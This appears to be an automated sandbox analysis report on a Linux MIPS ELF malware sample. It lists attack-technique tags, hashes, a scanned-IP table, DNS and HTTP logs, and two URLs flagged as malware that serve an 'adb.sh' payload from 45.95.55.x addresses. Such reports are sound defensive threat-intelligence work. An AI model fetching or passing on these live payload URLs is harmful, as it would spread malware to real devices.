Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://45.95.55.21/adb/adb.sh;	100%	Avira URL Cloud	malware
http://45.95.55.214/adb/adb.sh	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
barbershoppp.com	45.95.55.197	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.95.55.21/adb/adb.sh;	7r792pU6AE.elf	true	Avira URL Cloud: malware	unknown
http://45.95.55.214/adb/adb.sh	7r792pU6AE.elf	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
169.250.38.215	unknown	United States	47024	THE-METROHEALTH-SYSTEMUS	false
78.44.135.219	unknown	Czech Republic	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
64.217.232.167	unknown	United States	7018	ATT-INTERNET4US	false
134.116.72.83	unknown	United States	10455	LUCENT-CIOUS	false
78.109.3.133	unknown	Netherlands	13205	BTWWIDC-HAutonomousSystemGB	false
65.224.164.57	unknown	United States	701	UUNETUS	false
193.228.59.55	unknown	Italy	204287	HOSTROYALE_TECHNOLOGIESPT	false
122.22.84.72	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
185.156.211.138	unknown	Netherlands	202692	SWITCH-IT-SOLUTIONSNL	false
27.145.120.160	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	false
215.32.105.99	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
83.252.121.53	unknown	Sweden	39651	COMHEM-SWEDENSE	false
116.51.244.174	unknown	Singapore	17645	NTT-SG-APASN-NTTSINGAPOREPTELTDSG	false
52.227.14.149	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
125.147.24.226	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
44.57.5.108	unknown	United States	7377	UCSDUS	false
126.83.171.18	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
123.109.4.3	unknown	Korea Republic of	9689	FCABLE-ASTBroadKR	false
35.170.43.233	unknown	United States	14618	AMAZON-AESUS	false
240.153.21.105	unknown	Reserved	unknown	unknown	false
248.87.252.61	unknown	Reserved	unknown	unknown	false
87.45.243.158	unknown	Ireland	1213	HEANETIE	false
92.55.152.24	unknown	Romania	39737	PRIME-TELECOM-ASRO	false
8.207.144.161	unknown	United States	3356	LEVEL3US	false
247.144.79.66	unknown	Reserved	unknown	unknown	false
208.20.132.71	unknown	United States	1239	SPRINTLINKUS	false
167.178.93.35	unknown	United States	59447	SAYFANETTR	false
163.71.155.103	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
63.141.61.205	unknown	United States	44066	DE-FIRSTCOLOwwwfirst-colonetDE	false
71.82.73.203	unknown	United States	20115	CHARTER-20115US	false
130.52.79.251	unknown	United States	15601	BaringInvestmentServicesGB	false
213.197.169.142	unknown	Lithuania	15440	BALTNETACustomersASLT	false
253.7.215.219	unknown	Reserved	unknown	unknown	false
183.30.121.154	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
75.55.23.132	unknown	United States	7018	ATT-INTERNET4US	false
65.147.89.184	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
37.136.80.136	unknown	Finland	16086	DNAFI	false
210.2.10.15	unknown	China	7474	OPTUSCOM-AS01-AUSingTelOptusPtyLtdAU	false
42.175.183.92	unknown	China	4249	LILLY-ASUS	false
218.159.65.28	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
77.141.224.155	unknown	France	15557	LDCOMNETFR	false
44.0.147.189	unknown	United States	7377	UCSDUS	false
13.193.158.30	unknown	United States	7018	ATT-INTERNET4US	false
222.204.231.153	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
9.119.198.46	unknown	United States	3356	LEVEL3US	false
106.207.63.133	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
243.32.121.207	unknown	Reserved	unknown	unknown	false
37.102.247.221	unknown	Italy	9158	TELENOR_DANMARK_ASDK	false
28.21.152.72	unknown	United States	7922	COMCAST-7922US	false
126.44.193.175	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
95.138.182.75	unknown	United Kingdom	15395	RACKSPACE-LONGB	false
173.208.191.40	unknown	United States	32097	WIIUS	false
59.247.57.54	unknown	China	2516	KDDIKDDICORPORATIONJP	false
3.163.124.46	unknown	United States	16509	AMAZON-02US	false
58.99.220.238	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
221.57.116.71	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
211.195.244.46	unknown	Korea Republic of	10056	HDMF-ASHyundaiMarinFireInsuranceKR	false
151.3.193.167	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
192.249.35.105	unknown	United States	7018	ATT-INTERNET4US	false
4.194.116.197	unknown	United States	3356	LEVEL3US	false
31.47.50.195	unknown	Iran (ISLAMIC Republic Of)	25184	AFRANETfromAS58267acceptAS58267IR	false
91.151.53.251	unknown	France	34006	VEEPEE-ASNFR	false
71.51.56.141	unknown	United States	14921	CENTURYLINK-LEGACY-EMBARQ-HDRVUS	false
171.77.80.60	unknown	India	32	STANFORDUS	false
205.209.26.194	unknown	United States	394065	ESSENSYSINCUS	false
115.144.14.48	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
201.163.46.246	unknown	Mexico	11172	AlestraSdeRLdeCVMX	false
198.150.86.49	unknown	United States	2381	WISCNET1-ASUS	false
89.39.205.237	unknown	Spain	206089	TELECOLANZA-ASES	false
159.30.227.228	unknown	United Kingdom	397356	EARLHAM-COLLEGEUS	false
188.115.223.161	unknown	Armenia	44395	ORG-UL31-RIPEAM	false
219.179.233.108	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
123.196.60.198	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
118.98.25.45	unknown	Indonesia	17974	TELKOMNET-AS2-APPTTelekomunikasiIndonesiaID	false
132.175.213.190	unknown	United States	377	SNLA-NET-ASUS	false
2.120.225.135	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
162.12.157.176	unknown	United States	46746	SECURE-24-DCDUS	false
14.177.54.164	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
181.111.142.219	unknown	Argentina	7303	TelecomArgentinaSAAR	false
85.78.77.26	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
204.130.99.38	unknown	United States	6527	MASSACHUSETTSUS	false
168.201.154.227	unknown	United States	6167	CELLCO-PARTUS	false
8.170.76.81	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
113.215.216.195	unknown	China	24139	WASUHZHuashumediaNetworkLimitedCN	false
91.83.130.123	unknown	Hungary	12301	INVITECHHU	false
129.43.254.150	unknown	United States	6150	NCIFCRFUS	false
87.179.30.175	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
208.102.196.57	unknown	United States	6181	FUSE-NETUS	false
106.38.14.167	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
137.123.59.124	unknown	United States	27219	SUNY-CORTLANDUS	false
159.28.33.33	unknown	United States	397356	EARLHAM-COLLEGEUS	false
128.83.217.55	unknown	United States	18	UTEXASUS	false
213.191.135.206	unknown	Croatia (LOCAL Name: Hrvatska)	13046	ASN-ISKONHEPHR	false
221.212.60.171	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
5.21.80.197	unknown	Oman	50010	NAWRAS-ASSultanateofOmanOM	false
38.237.169.48	unknown	United States	174	COGENT-174US	false
211.239.222.214	unknown	Korea Republic of	9848	SEJONGTELECOM-AS-KRSejongTelecomKR	false
202.89.254.216	unknown	Hong Kong	24259	BC9kanumacabletelevisionCorporationJP	false
75.218.83.203	unknown	United States	22394	CELLCOUS	false
216.227.161.136	unknown	United States	174	COGENT-174US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
barbershoppp.com	WI21T2ZOwB.elf	Get hash	malicious	Browse	45.95.55.197
	bG0Z5Wgzt5.elf	Get hash	malicious	Browse	45.95.55.197
	R6MSKNwWp1.elf	Get hash	malicious	Browse	45.95.55.197
	dHR8d6DazM.elf	Get hash	malicious	Browse	45.95.55.197
	xsbHyvxCgs.elf	Get hash	malicious	Browse	45.95.55.197
	Myn7eh9vQ6.elf	Get hash	malicious	Browse	45.95.55.197
	mw7nR7FieR.elf	Get hash	malicious	Browse	45.95.55.197
	Bb2YTZ1paR.elf	Get hash	malicious	Browse	45.95.55.197
	ai1gpZjaAM.elf	Get hash	malicious	Browse	45.95.55.197
	TKKC04pzYG.elf	Get hash	malicious	Browse	45.95.55.197
	iXvT8Fa3o3.elf	Get hash	malicious	Browse	45.95.55.197
	t16MNxU8jg.elf	Get hash	malicious	Browse	45.95.55.197
	9CUh5wgEsP.elf	Get hash	malicious	Browse	45.95.55.197
	SMofOcO9le.elf	Get hash	malicious	Browse	45.95.55.197
	vNo8MWjEmn.elf	Get hash	malicious	Browse	45.95.55.197
	7VrRCmzGWj.elf	Get hash	malicious	Browse	45.95.55.197
	BYfRVLUA1z.elf	Get hash	malicious	Browse	45.95.55.197
	3DOOpcyTKj.elf	Get hash	malicious	Browse	45.95.55.197
	cPzTN7LWnK.elf	Get hash	malicious	Browse	45.95.55.197

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
THE-METROHEALTH-SYSTEMUS	Sf2ukpqNSc.elf	Get hash	malicious	Browse	169.250.95.175
	wgxS3xIV4x.elf	Get hash	malicious	Browse	169.248.198.221
	nBO6VHBqG6.elf	Get hash	malicious	Browse	169.249.188.116
	o5KPaxDWnd.elf	Get hash	malicious	Browse	169.248.3.158
	8kFjJLm6w1.elf	Get hash	malicious	Browse	169.249.58.231
	AA71yj7SR1.elf	Get hash	malicious	Browse	169.249.44.177
	spCVll93Ld.elf	Get hash	malicious	Browse	169.251.221.166
	go9qYoY9kg	Get hash	malicious	Browse	169.249.58.247
	home.arm	Get hash	malicious	Browse	169.240.5.202
	wImaOD9Wma	Get hash	malicious	Browse	169.248.185.99
	arm7-20220823-0023	Get hash	malicious	Browse	169.240.5.218
	z3hir.mips	Get hash	malicious	Browse	169.248.185.82
	nideejx8SP	Get hash	malicious	Browse	169.251.221.172
	ts5PoGoJTR	Get hash	malicious	Browse	169.251.221.170
	2a3RdBEgat	Get hash	malicious	Browse	169.251.221.157
	a84pe0qmNp	Get hash	malicious	Browse	169.250.231.236
	cKr3pNwuY7	Get hash	malicious	Browse	169.240.5.237
	home.x86	Get hash	malicious	Browse	169.240.5.254
	fc2Bh2Jlzm	Get hash	malicious	Browse	169.240.241.83
	home.x86	Get hash	malicious	Browse	169.251.221.175
LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	malw-20210521-bkp.elf	Get hash	malicious	Browse	217.104.176.205
	file.exe	Get hash	malicious	Browse	93.99.255.254
	8eJ5YulEDy.elf	Get hash	malicious	Browse	92.108.188.149
	Kiy9OJuP6h.elf	Get hash	malicious	Browse	46.127.188.32
	YsK6wdHlty.elf	Get hash	malicious	Browse	80.56.153.63
	i3LiJ3DGsZ.elf	Get hash	malicious	Browse	89.75.21.231
	WUDhJdWCg2.elf	Get hash	malicious	Browse	89.173.30.218
	Zcd5TGmEz1.elf	Get hash	malicious	Browse	78.45.84.110
	xL9VK784Cr.elf	Get hash	malicious	Browse	46.167.252.100
	eV5pnwjJJD.elf	Get hash	malicious	Browse	94.172.68.238
	fEotu3Le0K.elf	Get hash	malicious	Browse	212.186.87.31
	8Q3IITxTqb.elf	Get hash	malicious	Browse	212.186.99.13
	Hs4hqmkK5k.elf	Get hash	malicious	Browse	94.115.48.222
	UzIuQ9oQQN.elf	Get hash	malicious	Browse	94.170.124.204
	xoWRw93FCT.elf	Get hash	malicious	Browse	5.148.255.250
	tqyCetOyhX.elf	Get hash	malicious	Browse	95.77.147.137
	KdL9sNUBN0.elf	Get hash	malicious	Browse	178.82.196.36
	g0PfOoiXNf.elf	Get hash	malicious	Browse	94.169.70.151
	666.x86	Get hash	malicious	Browse	80.218.194.237
	7X71oZ4u45.elf	Get hash	malicious	Browse	31.151.195.30

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	622592
Entropy (8bit):	4.657516417799966
Encrypted:	false
SSDEEP:	6144:rb7cWWov4H5N80nuDSyvxYCWZ0/VmpRELAR/QuU/MzUCl1NZ:H4WWoGgvSiOp2kl
MD5:	0C99179B6C5CFE82203424AD7DAD0D8F
SHA1:	CAC50B64B1352723FF8F58BB1B103B93C396539B
SHA-256:	CEC6859D12C6A981ACA4D7C88F6E62E9616FB4D765C4A52147A7DA7BAD4F2420
SHA-512:	4226FDE9F558FFEF2107C330DB942E7E665C51C520A840221541AD255D0995AF64101C69D42C4BD43037364CC4D152851625A53DC56CC188DC28A3DC8C5602F6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.W.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1595
Entropy (8bit):	4.756730443593085
Encrypted:	false
SSDEEP:	48:UtESqJR3r0jOK1q4lp8Fncs4UHA5n5xtE5q4yVDNU1r3o9NrqJNAqJXbUAv3wUd8:M2EG4Gs994KeAYn5qsy
MD5:	756E8F0B77E2133309EE8686327A0874
SHA1:	CDCA5018AC1BD1B90C21543F846BA374D2508348
SHA-256:	CB2966A1596CA310204D1905487F4D9ED5C63C043D0951219747294ABCB9A41D
SHA-512:	4F381D1B95487E00B4FC8B5D5B929311EB96F72F68D5BB0C5A090D4E3706469DD645CE68B722AC40D9026B68FED6F9D8B629AAAE0D3622EA6ACBD5AF7CE86E64
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2022-11-5-0:24:59."/var/log/dpkg.log" 2022-11-4-23:24:25."/var/log/speech-dispatcher/debug-flite" 2022-11-5-0:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2022-11-4-23:24:25."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2022-11-4-23:24:25."/var/log/apt/term.log" 2022-11-4-23:24:25."/var/log/ppp-connect-errors" 2022-11-5-0:0:0."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2022-11-5-0:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/apt/history.log" 2022-11-4-23:24:25."/var/log/boot.log" 2022-11-5-0:0:0."/var/log/lightdm/*.log" 2022-11-5-0:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/debug" 2022-11-5-0:0:0."/var/log/mail.log" 2022-11-5-0:0:0."/var/log/kern.log" 2022-11-4-23:24:25."/var/log/cups/access_log" 2022-11-5-0:24:59."/var/log/ufw.log" 2022-11-5-0:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2022-11-5-0:0:0."/var/log/daemo

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Fri Nov 4 23:24:25 2022, from Unix, original size modulo 2^32 554
Category:	dropped
Size (bytes):	196
Entropy (8bit):	6.89201218854508
Encrypted:	false
SSDEEP:	6:X9Y5jGXSPfbRwWbIU2IXUAlGdOvFYzcz0c:X9c1fdwWyyUnQYzczr
MD5:	CCB7B2990070661F12693AA230F4F3D9
SHA1:	A7873FAFA6F4808B21DB6568B46B8F14C432B634
SHA-256:	F0EE8C58DA247BB3402C77C51137DCE0063639889C1D88E9B9C584002C126175
SHA-512:	62B0BB3292AF3149570928628EDA4E265B1C573092987594CB62113D96CBD96374287D75F502695E57326748024080FEC4E305406CDC44686BD42D69473AEF3F
Malicious:	false
Preview:	....).ec......0.....a5...$..8).l..k.........0!..._~C.5O......x....e!....s.i7..K...S.T\.d.(..I...m.r...z.{..!.d=.Q).}7.F.........?....%...^"$H..l......8..V...$ezm...c...h..me......C...*...

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.436242193610419
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	7r792pU6AE.elf
File size:	101240
MD5:	970dd42fe4aa263383eec5324a5ed5b2
SHA1:	9742638f05ea6980fd744eab25a9ca43ca7f3445
SHA256:	2ffb369480d74e71480c94c0146f39a30a22749e7e32e914cf617b6f73379095
SHA512:	de0ecb19ec0005b373eca174ce6b9b900046de1ed344ef38cff2d6fbe59ea2304b2e5d4c44d7c67ca833de5906933bd45bb102abaf1068aa11cffb15d2e839c7
SSDEEP:	1536:SQO/pmLeYafaRadUGKKPapotx87B/MIzdD1K4krm+LW9SIo+wLqGaPri/t//I7FP:FiKNe8d/MkdDFt+KmeritHwPD
TLSH:	B3A3E71F6E204FADF76983340BB78E32A798238633E0C645D66CE9045F6434D685F7A9
File Content Preview:	.ELF.....................@.`...4...p.....4. ...(.............@...@....v...v..................E...E..................dt.Q............................<...'..,...!'.......................<...'......!... ....'9... ......................<...'......!........'9Z

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x159e0	0x0	0x6	AX	16
.fini	PROGBITS	0x415b00	0x15b00	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x415b60	0x15b60	0x1b40	0x0	0x2	A	16
.ctors	PROGBITS	0x458000	0x18000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x458008	0x18008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x458014	0x18014	0x18	0x0	0x3	WA	4
.data	PROGBITS	0x458030	0x18030	0x4a0	0x0	0x3	WA	16
.got	PROGBITS	0x4584d0	0x184d0	0x448	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x458918	0x18918	0xc	0x0	0x10000003	WAp	4
.bss	NOBITS	0x458930	0x18918	0xa2e8	0x0	0x3	WA	16
.shstrtab	STRTAB	0x0	0x18918	0x56	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x176a0	0x176a0	5.5339	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x18000	0x458000	0x458000	0x918	0xac18	4.4257	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2022 00:25:08.164691925 CET	33312	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:08.742744923 CET	53	33312	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:14.312326908 CET	35460	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:14.660810947 CET	53	35460	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:16.859806061 CET	33842	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:17.213696003 CET	53	33842	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:17.377790928 CET	35463	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:17.727143049 CET	53	35463	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:19.688591003 CET	43966	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:20.046705008 CET	53	43966	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:21.335253954 CET	33616	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:21.911052942 CET	53	33616	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:27.198205948 CET	43944	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:27.543430090 CET	53	43944	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:29.050098896 CET	52320	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:29.415011883 CET	53	52320	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:30.637702942 CET	50386	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:30.991980076 CET	53	50386	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:37.262917995 CET	41884	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:37.613527060 CET	53	41884	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:38.682451963 CET	50956	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:39.034287930 CET	53	50956	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:39.225028038 CET	53789	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:39.588308096 CET	53	53789	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:39.761682034 CET	52306	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:40.355967045 CET	53	52306	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:40.410209894 CET	60635	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:40.765121937 CET	53	60635	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:45.105334997 CET	36385	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:45.691030979 CET	53	36385	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:53.871808052 CET	43557	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:54.223651886 CET	53	43557	8.8.8.8	192.168.2.23
Nov 5, 2022 00:25:55.361274958 CET	43740	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:25:55.721249104 CET	53	43740	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:00.683156013 CET	48359	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:01.049746037 CET	53	48359	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:10.310401917 CET	58741	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:10.659487009 CET	53	58741	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:12.849030018 CET	35037	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:13.203238010 CET	53	35037	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:20.464533091 CET	54662	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:20.821285009 CET	53	54662	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:23.002691031 CET	50129	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:23.569530964 CET	53	50129	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:26.193281889 CET	47026	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:26.549712896 CET	53	47026	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:26.555351973 CET	39806	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:26.909828901 CET	53	39806	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:26.914016008 CET	47225	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:27.264385939 CET	53	47225	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:31.472497940 CET	39896	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:32.062290907 CET	53	39896	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:42.240515947 CET	45777	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:42.580621958 CET	53	45777	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:42.622795105 CET	60650	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:43.200393915 CET	53	60650	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:43.244385004 CET	43058	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:43.588697910 CET	53	43058	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:43.595948935 CET	34291	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:43.945496082 CET	53	34291	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:45.087105989 CET	42831	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:45.450942039 CET	53	42831	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:51.491507053 CET	34113	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:51.846914053 CET	53	34113	8.8.8.8	192.168.2.23
Nov 5, 2022 00:26:56.082858086 CET	60365	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:26:56.663301945 CET	53	60365	8.8.8.8	192.168.2.23
Nov 5, 2022 00:27:09.107395887 CET	53425	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:27:09.686325073 CET	53	53425	8.8.8.8	192.168.2.23
Nov 5, 2022 00:27:09.692915916 CET	57538	53	192.168.2.23	8.8.8.8
Nov 5, 2022 00:27:10.272970915 CET	53	57538	8.8.8.8	192.168.2.23

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:16.859532118 CET	43	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:17.261056900 CET	48	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:25:17.448950052 CET	49	IN	HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.3.27 X-Powered-By: ASP.NET Date: Fri, 04 Nov 2022 23:25:16 GMT Connection: close Content-Length: 21 Data Raw: 57 65 6c 63 6f 78 67 6d 65 20 20 31 36 36 37 36 30 34 33 31 36 Data Ascii: Welcoxgme 1667604316

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:17.377587080 CET	48	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:17.534750938 CET	49	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:25:17.692161083 CET	49	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Fri, 04 Nov 2022 23:25:17 GMT Date: Fri, 04 Nov 2022 23:25:17 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 33 32 39 63 38 31 37 26 23 34 36 3b 31 36 36 37 36 30 34 33 31 37 26 23 34 36 3b 62 31 36 37 66 35 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.c329c817.1667604317.b167f5e</BODY></HTML>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:39.761490107 CET	223	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:40.270565033 CET	224	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:41.294558048 CET	239	OUT	GET / HTTP/1. Data Raw: Data Ascii:

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:40.410047054 CET	229	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:40.459268093 CET	229	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
